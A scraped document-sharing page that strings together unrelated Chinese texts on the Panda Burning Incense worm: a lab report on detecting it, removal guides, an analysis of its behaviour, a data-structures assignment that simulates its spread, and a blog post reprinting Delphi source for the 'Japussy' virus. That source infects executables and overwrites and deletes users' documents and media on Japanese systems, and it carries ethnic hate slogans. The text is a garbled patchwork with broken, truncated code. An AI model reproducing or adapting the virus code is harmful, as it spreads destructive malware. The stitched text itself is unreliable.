数据结构实验报告--熊猫烧香
- 格式:doc
- 大小:119.00 KB
- 文档页数:17
计算机病毒防护技术实验报告学院:计算机科学与技术班级:20110616姓名:曾江东学号:2011061624成绩:2014年10月实验1 典型病毒的检测1.1 实验名称熊猫烧香病毒的检测1.2 实验目的掌握典型病毒的检测方法,掌握熊猫烧香病毒的检测方法,掌握威金病毒的检测方法。
1.3 实验环境微机1台(Windows 9x\2000\XP操作系统),熊猫烧香病毒样本、威金病毒样本,熊猫烧香病毒专杀工具、威金病毒专杀工具,VMWare虚拟机软件。
1.4 实验内容及要求1.4.1 熊猫烧香病毒的检测1、备好病毒样本先准备一张含有熊猫烧香病毒的软盘或光盘,或带有熊猫烧香病毒的U盘。
2、运行VMWare虚拟机软件。
为了整个计算机本身的安全或整个实验室系统的安全,让实验在虚拟的环境下进行,3、检测干净系统4、种植熊猫烧香病毒插入含有熊猫烧香病毒的U盘、光盘或者软盘,点击含有熊猫烧香病毒文件夹下的set up.exe文件,这时就将熊猫烧香病毒种植到计算机系统中了。
5、检测中毒后的系统6、得出实验结论1.3.2 威金病毒的检测1、备好病毒样本2、先准备一张含有威金病毒的软盘或光盘,或带有威金病毒的U盘。
3、运行VMWare虚拟机软件。
4、为了整个计算机本身的安全或整个实验室系统的安全,让实验在虚拟的环境下进行,5、检测干净系统6、种植威金病毒插入含有威金病毒的U盘、光盘或者软盘,点击含有威金病毒文件夹下的威金文件,这时就将威金病毒种植到计算机系统中了。
7、检测中毒后的系统8、实验结论1.5 实验设计与实验步骤1.运行VMWare虚拟机软件。
2.插入含有熊猫烧香病毒的U盘、光盘或者软盘,点击含有熊猫烧香病毒文件夹下的setup. exe文件,这时就将熊猫烧香病毒种植到计算机系统中了。
3.查看磁盘是否有一些exe文件的图标被改成了一个座立的熊猫手里捧着三根香。
4.用熊猫烧香病毒专杀工具检测系统是否中毒。
1.6 实验过程与分析通过查看系统磁盘的一些文件,发现一些exe文件确实被改成了熊猫图标,随后利用熊猫烧香病毒专杀工具也检测出系统确实中毒1.7 实验结果总结成功将熊猫烧香病毒植入电脑,并成功检测出来。
问:什么是熊猫烧香病毒?
答:“熊猫烧香”其实是一种蠕虫病毒的变种,而且是经过多次
变种而来的。
“尼姆亚变种W(Worm.Nimaya.w)”,由于中毒
电脑的可执行文件会出现“熊猫烧香”图案,所以也被称为“熊猫
烧香”病毒。
用户电脑中毒后可能会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。
同时,该病毒的某些变种可以通过局域网进行传播,进而感染局域网内所有计算机系统,最终导致企业局域网瘫痪,无法正常使用。
该病毒会感染系统中的重要文件,而被感染的文件手工修复困难,广大用户,如果感染该病毒,可以使用安天实验室发布的熊猫烧香病毒专杀工具KillPP,此专杀工具可以清除所有熊猫烧香病毒变种,可以恢复被感染的EXE文件,并附带U盘免疫功能。
信息安全熊猫烧香病毒剖析The document was prepared on January 2, 2021《网络攻击与防御》实验报告计算机科学与技术学院计算机系网络教研室制实验报告撰写要求实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:组号:例如:2-5 表示第二班第5组。
实验日期:例如:05-10-06 表示本次实验日期。
(年-月-日)……实验编号:例如:表示第一个实验。
实验时间:例如:2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:一、实验目的本次实验所涉及并要求掌握的知识点。
二、实验环境实验所使用的设备名称及规格,网络管理工具简介、版本等。
三、实验内容与实验要求实验内容、原理分析及具体实验要求。
四、实验过程与分析根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。
详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。
五、实验结果总结对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
六、附录1)掌握熊猫烧香病毒的工作原理和感染方法;2)掌握手工清除熊猫病毒的基本方法。
目标主机为windows-2003 所用到的工具o Wsyschecko Filemon三、实验内容与实验要求蠕虫原理1)蠕虫定义2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
熊猫烧香病毒之专杀工具的编写教程通过对熊猫烧香的行为分析,这里仅针对所得结果,来进行专杀工具的编写。
本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。
实验目的:结合本篇文章的知识点,能够彻底掌握文章所讲述的编写杀毒软件的方法。
实验思路:1.理解专杀工具所需要实现的功能2.利用VC++编写专杀工具3.结合Process Monitor验证专杀工具实验步骤:1、病毒行为回顾与归纳这里我们首先回顾一下病毒的行为:**病毒行为1:**病毒本身创建了名为`spoclsv.exe`的进程,该进程文件的路径为:C:WINDOWSsystem32driversspoclsv.exe**病毒行为2:**在命令行模式下使用`net share`命令来取消系统中的共享。
**病毒行为3:**删除安全类软件在注册表中的启动项。
**病毒行为4:**在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。
**病毒行为5:**修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。
**病毒行为6:**将自身拷贝到根目录,并命名为`setup.exe`,同时创建`autorun.inf`用于病毒的启动,这两个文件的属性都是“隐藏”。
**病毒行为7:**在一些目录中创建名为`Desktop_.ini`的隐藏文件。
**病毒行为8:**向外发包,连接局域网中其他机器。
纵观以上八点行为,这里需要说明的是,其中的第二点行为,由于我不知道用户计算机在中毒前的设置,因此这条我打算忽略。
“熊猫烧香”(Worm.WhBoy.h)“熊猫烧香”(Worm.WhBoy.h)近段时间,“熊猫烧香”(Worm.WhBoy.h) 蠕虫正处于急速变种期,仅11月份至今,变种数量已达10几个,变种速度之快,影响范围之广,与06年横行于局域网的“维金”不相上下。
现在小编提供一个手动清除此病毒的方法:清除步骤==========1. 断开网络2. 结束病毒进程%System%\FuckJacks.exe3. 删除病毒文件:%System%\FuckJacks.exe4. 右键点击分区盘符,点击右键菜单中的“打开”进入分区根目录,删除根目录下的文件X:\autorun.infX:\setup.exe5. 删除病毒创建的启动项:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]"FuckJacks"="%System%\FuckJacks.exe[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"svohost"="%System%\FuckJacks.exe"6. 修复或重新安装反病毒软件7. 使用反病毒软件或专杀工具进行全盘扫描,清除恢复被感染的exe文件中毒文件的恢复(仅个人观点,只在自己的虚拟机上测试正常)首先在清除病毒文件的同时不要删除%SYSTEM%下面释放FuckJacks.exe的这个文件,(注册表里要清除干净)打开运行输入gpedit.msc打开组策略-本地计算机策略-windows 设置-安全设置-软件限制策略-其它规则在其它规则上右键选择-新散列规则=打开新散列规则窗口在文件散列上点击浏览找到-%SYSTEM%下面释放FuckJacks.exe 文件.......安全级别选择-不允许的确定后重启(一定重启)重启后可以双击运行已经被熊猫感染的程序-运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项(不会有问题的)双击运行被感染的程序已经恢复原来样子了,全部回复后用SRENG2把FuckJacks.exe 在注册表里的启动项删除即可!杀病毒:实例讲解如何干掉“熊猫烧香”你中过熊猫烧香么?!看到过熊猫拿着三支香的样子么!?中招后如何处理!?看完本文,你将学会如何从计算机中杀掉“熊猫烧香”。
一、引言去年秋天回趟老家,适逢家中秋收后“祭宅神”。
期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。
试问这位仁兄:你到底想干什么?图1:“熊猫烧香”病毒感染可执行文件后的文件图标在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。
他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。
最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。
粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。
二、“熊猫烧香”病毒“源码”浅析(一)主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示:稍加分析,我们不难绘出其相应的执行流程(如图2):图2:主程序流程图对于代码:虽然源码提供者省略了相应实现,但这是比较基本的编程实现。
通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。
当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。
然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。
其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。
Nimaya(熊猫烧香)病毒特点及解决方法近期校园网中大量的出现了“熊猫烧香”病毒及其新变种,现将新变种的特征和感染现象作出分析,供大家在工作中参考。
一.感染现象及传播途径“熊猫烧香”及其变种是通过局域网内的网络共享来感染终端计算机的蠕虫病毒,主要感染的目标系统为windows 2000 和XP。
病毒会在系统的所以盘符或最后一个盘符下生成一个熊猫烧香或常见可执行文件的图标(如杀毒软件等),文件名为setup.exe/gamesetup.exe/autorun.exe等的可执行文件来诱导用户点击执行,释放后继而感染word、execl等后缀名为.exe的文件,使用户无法正常应用工作软件。
该病毒修改文件夹属性使“显示所有隐藏文件”和“显示受保护的系统文件选项”失效。
二.病毒特点1、病毒感染终端后将自身复制到Windows文件夹下,文件名为:%SystemRoot%\autorun.inf 并将其属性改为隐藏2、病毒感染终端后,病毒将病毒体复制到为以下文件:%SystemRoot%\setup.exe并将其属性改为隐藏3、病毒在每个分区下生成gamesetup.exe/set.exe/autorun.exe文件,并在C:\Documents and Settings\Administrator\Local Settings\Temp下加载zt.exe和w1.exe或ztw1.exe等文件4、病毒会在c:\winnt\system32\drivers\文件夹下生成spoclv.exe文件。
5、病毒通过添加如下注册表项实现病毒开机自动运行:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "load"="C:\\WINNT\\zt.exe"或w1.ext””[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows] "load"="C:\\WINNT\\rundl132.exe"7、枚举以下杀毒软件进程名,查找到后终止其进程:Ravmon.exe、Eghost.exe、Mailmon.exe、KA VPFW.EXE、IPARMOR.EXE、Ravmond.exe、KV、Mcshield.exe8、同时病毒尝试利用以下命令终止相关杀病毒软件并删除服务:net stop "Kingsoft AntiVirus Service"net stop “Ravservice”9、发送arp探测数据,判断网络状态,网络可用时,枚举内网所有共享主机,并使用自带的口令库猜测破解\\IPC$、\admin$等共享目录,连接成功后进行网络感染。
熊猫烧⾹病毒详解(附源码及学习资料)这⼏天⼩编在研究下病毒,源码拿出来和⼤家分享⼀下。
温馨提⽰:亮点最后!今天在OSC看到有⼈共享熊猫烧⾹的源码,⽤Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字⾥⾏间留露出作者的愤青情绪啊,⼤体的看了下,主要是通过拷贝到Windows系统⽬录中,注册表添加⾃启动的蠕⾍病毒,通过VB调⽤Windows的Outlook发送邮件,进⽽达到传播病毒,原始的病毒是将exe的图标改成熊猫烧⾹的图标,并没有其他功效,真正破坏性的都是后期制作的。
随着编程语⾔的简化和提⾼,写个病毒当个骇客,再也不是梦了,主要你要了解病毒是怎么传播的,如何保证⾃⼰不会被轻易的杀掉,对Windows的漏洞也要有很深的研究,这样才能写出⼀个骇⼈听闻的病毒,但是写出来也不要张扬,⾃⼰娱乐下就好了,被他⼈恶意利⽤可不是闹着玩的。
不禁想起了之前微软的⼀个严重漏洞,迟迟四年也没有发现,漏洞是当OS连续运⾏49天之后会死机,为什么没有发现呢,因为其他的漏洞导致os还未运⾏就么久就已经死了,原因是每毫⽶加⾐的计时器,在49天之后,int型就溢出了,导致系统崩溃。
随便说说,看下源码,留着以后研究:program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的⼤⼩IconOffset = $12EB8; //PE⽂件主图标的偏移量//在我的Delphi5 SP1上⾯编译得到的⼤⼩,其它版本的Delphi可能不同//查找2800000020的⼗六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的⼤⼩IconOffset = $92BC; //Upx压缩过PE⽂件主图标的偏移量//Upx 1.24W ⽤法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE⽂件主图标的⼤⼩--744字节IconTail = IconOffset + IconSize; //PE⽂件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写⼊Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //⽇⽂操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主⽂件从已感染的PE⽂件中分离出来,以备使⽤ }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE⽂件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则⽂件正在被使⽤,退出if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是⾃⼰则不感染 Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do //检查PE⽂件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记IsPE := True; //是PE⽂件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太⼩的⽂件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE⽂件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染⽂件的主图标(744字节),存⼊流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头⽂件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try//写⼊病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写⼊⽬前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写⼊病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写⼊宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写⼊已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主⽂件DstStream.Free;end;except;end;end;{ 将⽬标⽂件写⼊垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开⽂件trySize := GetFileSize(FileHandle, nil); //⽂件⼤⼩i := 0;Randomize;Max := Random(15); //写⼊垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的⼤⼩Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写⼊垃圾码,将⽂件彻底破坏掉finallyFileClose(FileHandle); //关闭⽂件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + '''''''''''''''':'''''''''''''''';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和⽹络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D;end;end;{ 遍历⽬录,感染和摧毁⽂件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr <> 16) and ( <> ''''''''''''''''.'''''''''''''''') and( <> ''''''''''''''''..'''''''''''''''') thenResult := 0 //不是⽬录else if (SearchRec.Attr = 16) and ( <> ''''''''''''''''.'''''''''''''''') and( <> ''''''''''''''''..'''''''''''''''') thenResult := 1 //不是根⽬录else Result := 2; //是根⽬录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') thenbeginInfectOneFile(Fn); //感染可执⾏⽂件endelse if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then begin//感染HTML和ASP⽂件,将Base64编码后的病毒写⼊//感染浏览此⽹页的所有⽤户//哪位⼤兄弟愿意完成之?endelse if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿⽂件begin//获取Outlook邮件地址endelse if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址⾃动完成⽂件begin//获取Foxmail邮件地址endelse if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿⽂件begin//获取Foxmail邮件地址if IsJap then //是倭⽂操作系统beginif (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or(Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then SmashFile(Fn); //摧毁⽂件end;end;end;//感染或删除⼀个⽂件后睡眠200毫秒,避免CPU占⽤率过⾼引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '''''''''''''''''''''''''''''''', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的⽂件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //⽇⽂操作系统IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + '''''''''''''''':'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体⾃⼰if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then InfectFiles //感染和发邮件else //已寄⽣于宿主程序上了,开始⼯作beginTmpFile := ParamStr(0); //创建临时⽂件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主⽂件,多⼀个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运⾏之InfectFiles; //感染和发邮件end;end.“熊猫烧⾹”,这是⼀个感染型的蠕⾍病毒,它能感染系统中exe,com,pif,src,html,asp等⽂件,它还能中⽌⼤量的反病毒软件进程并且会删除扩展名为gho的⽂件,该⽂件是⼀系统备份⼯具GHOST的备份⽂件,使⽤户的系统备份⽂件丢失。
《数据结构》课程设计报告书姓名:辅导老师:班级:学号:日期:一、课程设计题目:熊猫烧香(浙大)二、课程设计内容:1、设计要求:模拟一个实验室的机器网络(M行N列的矩阵)被病毒感染的过程,每台机器只和它相邻的机器直接相连。
开始时有T太机器被感染,每台遭遇的熊猫变种类型都不同,分别记为Type1,Type2,……TypeT。
每台机器都具有一定级别的防御能力,记为L(0<L<1000)。
2、病毒的传播规则:(1)病毒只能从一台被感染的机器传到另一台没有被感染的机器。
(2)如果一台机器已经被某个变种的病毒感染过,就不能再被其他变种感染。
(3)病毒的传播能力每天都在增强。
以D代表病毒的攻击等级,初始值为1,每天增加1,可以感染所有可以到达的防御级别小于病毒自身攻击级别的机器。
当L大于D的时候可以组织病毒从自己处继续传播。
(4)同一天内,由1号变种病毒先开始传播,感染所有它可能感染的机器,然后Type2、Type3……依次经行传播。
3、程序的要求:(1)输入要求:输入由若干组测试数据组成。
每组数据的第一行包含2个整数M和N(1=<M,N=<500),接下来是一个M*N的矩阵表示网络的初始感染状态,其中的正、负整数的意义如题目描述中所定义。
下面一行给出一个正整数Q,是将要查询的变种的个数。
接下去的Q行里,每行给出一个变种的类型。
当M或N为0时,表示全部测试结束,不要对该数据做任何处理。
(2)输出要求:对每一组进行测试,在一行里输出被某个特定变种所感染的机器的数量。
(3)输入输出例子:输入:3 41 -3 -2 -3-2 -1 -2 2-3 -2 -1 -12120 0输出:93三、算法设计:确定所需要的模块及模块之间的关系:四、程序正确性验证(指边界测试数据,即程序对于精心选择的典型、苛刻而带有刁难性的几组输入数据能够得出满足要求的结果):由以上测试结果分析可知:程序正确的完成了题目要求的基本操作,并且添加了每天病毒传播的状态显示,而且背景和字体分别设置了颜色变化,使单调的黑屏界面变成彩色界面,交互性好。
五、课程设计过程中出现的主要问题、原因及解决方法:1、开始定义结构体时,节点的几个域定义划分不明确,随着后续程序的需要逐渐明确清晰。
2、编写病毒传播程序代码时初定使用广度优先遍历算法,但具体实现起来参数传递不好处理,就改为直接查找到病毒源后向四个方向分别判断传播,实现起来更加简单便捷。
3、为了看清病毒传播的每天的变化,在传播函数里添加了输出每天状态的代码。
4、为了多次测试方便,在main()函数里加上了循环语句,实现一次运行多次测试。
六、课程设计的主要收获:通过这次课程设计我也着实又感受了一次编程的乐趣,从中也学到了不少知识。
虽然都说“程序=数据结构+算法”,但我在学习运用数据结构编程之前,并没能深刻体会到这一点,直到这次课程设计。
我感受最深的一点是:以前用C++编程,只是注重如何编写函数能够完成所需要的功能,似乎没有明确的战术,只是凭单纯的意识和简单的语句来堆砌出一段程序。
感觉有点像张飞打仗,有勇无谋,只要能完成任务就行。
但现在编程感觉完全不同了。
在编写一个程序之前,自己能够综合考虑各种因素,首先选取自己需要的数据结构,是树还是图或是别的什么?然后选定一种或几种存储结构来具体的决定后面的函数的主要风格。
最后在编写每一个函数之前,可以仔细斟酌比对,挑选出最适合当前状况的算法。
这样,即使在完整的程序还没有写出来之前,自己心中已经有了明确的原图了。
这样无形中就提高了自己编写的程序的质量。
另外,我还体会到深刻理解数据结构的重要性。
只有真正理解这样定义数据类型的好处,才能用好这样一种数据结构。
了解典型数据结构的性质是非常有用的,它往往是编写程序的关键。
我以前对算法一直有些害怕,总是看不明白究竟一些算法是怎么进行的。
在这次实验中我终于克服了这一障碍,一次次单步执行书中函数的例子,并一遍遍在心中自己默默的走,终于弄明白了,真的是功夫不负有心人啊!同时我还根据自己的理解写出了类似的函数实现了新的功能,真是受益良多啊!在这次实验中,我对参数的调用也进行了很多种尝试,已经能够相对准确的选择合适的参数形式来实现函数之间的数据传输交互了。
总之,我会继续我的兴趣编写程序的,相信在越来越多的尝试之后,自己会不断进步不断提高的七、对今后课程设计的建议:课程设计能使学生充分体验到数据结构在编程方面的重要性,锻炼自己动手能力,个人建议今后课程设计题目设计涉及方面更加广泛,实验时也允许多人组队,培养学生的团队精神,总之通过课程设计会使大家学习到很多新东西,对编程有更深的体会。
感谢老师的辛苦工作,身体健康,工作顺利。
源代码:#include<iostream>using namespace std;#define MAXNODE 500typedef struct VertexType //结点信息{int day; //第几天被感染的int dl; //防御级别int r,c; //行列号int vt; //病毒类型}VertexType;typedef struct MGraph //邻接矩阵{VertexType m[MAXNODE][MAXNODE]; //结点数int row,cloum,vtnum; //行列数、感染的数目}MGraph;MGraph mg; //定义图typedef struct Queue //队列{VertexType data[MAXNODE];int front,rear;}Queue;void MGraphInit() //初始化{for (int i=0;i<mg.row;i++){for (int j=0;j<mg.cloum;j++){mg.m[i][j].vt=0;//全部初始化为0mg.m[i][j].dl=0;mg.m[i][j].day=0;mg.m[i][j].r=i;mg.m[i][j].c=j;mg.vtnum=0;}}}void MGraphCreat(){MGraphInit();cout<<" * 请逐行输入网络的初识状态:"<<endl;for (int i=0;i<mg.row;i++){cout<<" ";for (int j=0; j<mg.cloum;j++){int a;cin>>a;if (a>0){mg.m[i][j].vt=a; //输入正数表示病毒等级}else{mg.m[i][j].dl=0-a;//输入负数表示防御等级}//if}//for}//for}//MGraphCreatvoid virSpread(VertexType v,int nowday){Queue Q; Q.front=Q.rear=0; //定义变量并初始化队列Q.rear=(Q.rear+1)%MAXNODE;Q.data[Q.rear]=v;while (Q.front<=Q.rear) 